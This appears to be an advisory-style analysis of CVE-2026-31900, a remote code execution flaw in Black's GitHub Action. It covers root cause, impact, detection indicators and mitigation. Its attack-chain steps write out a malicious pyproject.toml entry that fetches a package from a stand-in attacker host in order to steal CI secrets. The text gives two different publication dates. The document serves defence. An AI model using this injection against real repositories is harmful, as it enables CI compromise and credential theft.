CVE-2026-31900: 
Python vulnerability analysis and mitigation

CVE-2026-31900 is a remote code execution vulnerability in the Black Python code formatter's GitHub Action, stemming from improper input validation of version specifiers read from pyproject.toml. When the use_pyproject: true option is enabled, a malicious pull request can modify pyproject.toml to reference a direct URL pointing to a malicious package repository, triggering arbitrary code execution within the GitHub Actions runner context. All versions of the Black GitHub Action prior to 26.3.0 are affected. The vulnerability was published on March 11, 2026, with a patch released in version 26.3.0. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, Feedly).

The root cause is improper input validation (CWE-20) in the Black GitHub Action's version parsing logic when use_pyproject: true is configured. The action reads the Black version from the repository's pyproject.toml file but fails to restrict the accepted format to standard version specifiers, allowing PEP 440 direct URL references (e.g., black @ https://malicious.example.com/black.tar.gz) to pass through unvalidated. An attacker with the ability to submit a pull request can craft a pyproject.toml entry that causes the action to fetch and install a malicious package from an attacker-controlled URL, resulting in arbitrary code execution in the runner environment. The fix in version 26.3.0 tightens version field validation to reject direct URL references and accept only standard version specifiers (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary code within the GitHub Actions runner context, granting access to all secrets, environment variables, and permissions configured for the workflow — including repository tokens, cloud credentials, and deployment keys. This can lead to full compromise of the CI/CD pipeline, unauthorized code commits, supply chain attacks against downstream consumers, and lateral movement into connected infrastructure. The confidentiality, integrity, and availability of the build environment and any systems it interacts with are all at high risk (GitHub Advisory, Feedly).

No public proof-of-concept exploit or evidence of in-the-wild exploitation has been confirmed as of the time of reporting (Feedly). However, a GitHub repository labeled as a CVE-2026-31900 lab environment (Batosay1337Lab/CVE-2026-31900 and Batosay1337Lab/cve-2026-31900-lab) appeared publicly, suggesting active research or educational PoC development. The EPSS score is 0.00184 (approximately 0.18%), indicating a currently low but non-negligible probability of exploitation. No threat actor attribution or CISA KEV catalog listing has been identified for this vulnerability.

1. Reconnaissance: Identify public or private GitHub repositories that use the psf/black GitHub Action with the use_pyproject: true option enabled in their workflow YAML files.
2. Fork or submit a pull request: As an external contributor, fork the target repository or open a pull request that modifies the pyproject.toml file.
3. Inject malicious dependency reference: Edit pyproject.toml to replace or add a Black version specifier with a PEP 440 direct URL reference, e.g., black @ https://attacker.example.com/malicious-black.tar.gz, pointing to an attacker-controlled package.
4. Trigger the GitHub Action: The pull request triggers the Black formatting GitHub Action, which reads the version from pyproject.toml and installs the malicious package from the attacker-controlled URL.
5. Achieve code execution: The malicious package executes arbitrary code within the GitHub Actions runner, enabling the attacker to exfiltrate secrets (e.g., GITHUB_TOKEN, cloud credentials), modify repository contents, or pivot to connected systems (GitHub Advisory, Patch Commit).

• Logs: GitHub Actions workflow logs showing installation of Black from an unexpected or external URL (e.g., pip install black @ https://...) rather than PyPI; unexpected pip download activity in runner logs.
• File System: Presence of unexpected Python packages or scripts installed in the runner's virtual environment during the Black action step.
• Network: Outbound HTTP/HTTPS connections from the GitHub Actions runner to non-PyPI domains during the Black installation step; DNS queries to attacker-controlled domains from the runner.
• Configuration: pyproject.toml containing a black dependency entry with a direct URL reference (e.g., black @ https://...) rather than a standard version specifier (e.g., black==24.x.x) (GitHub Advisory).

Upgrade the Black GitHub Action to version 26.3.0 or later, which enforces strict validation of version specifiers and rejects direct URL references. Repositories using psf/black@stable will automatically receive this update without manual intervention. As an immediate workaround, disable the use_pyproject: true option in any Black GitHub Action workflow configurations. Additionally, implement pull request review policies requiring explicit approval of pyproject.toml changes before workflows execute, and restrict GitHub Action permissions to the minimum required scope (GitHub Advisory, Patch Commit).

The vulnerability was reported by security researcher ParzivalHack and published by Black maintainer JelleZijlstra via the official GitHub Security Advisory on March 6, 2026 (GitHub Advisory). Coverage appeared on Medium's Security Cert Community and the German Linux security news site Pro-Linux, indicating moderate community awareness. A Tenable Nessus detection plugin (ID 304229) was also released, enabling automated scanning for vulnerable configurations.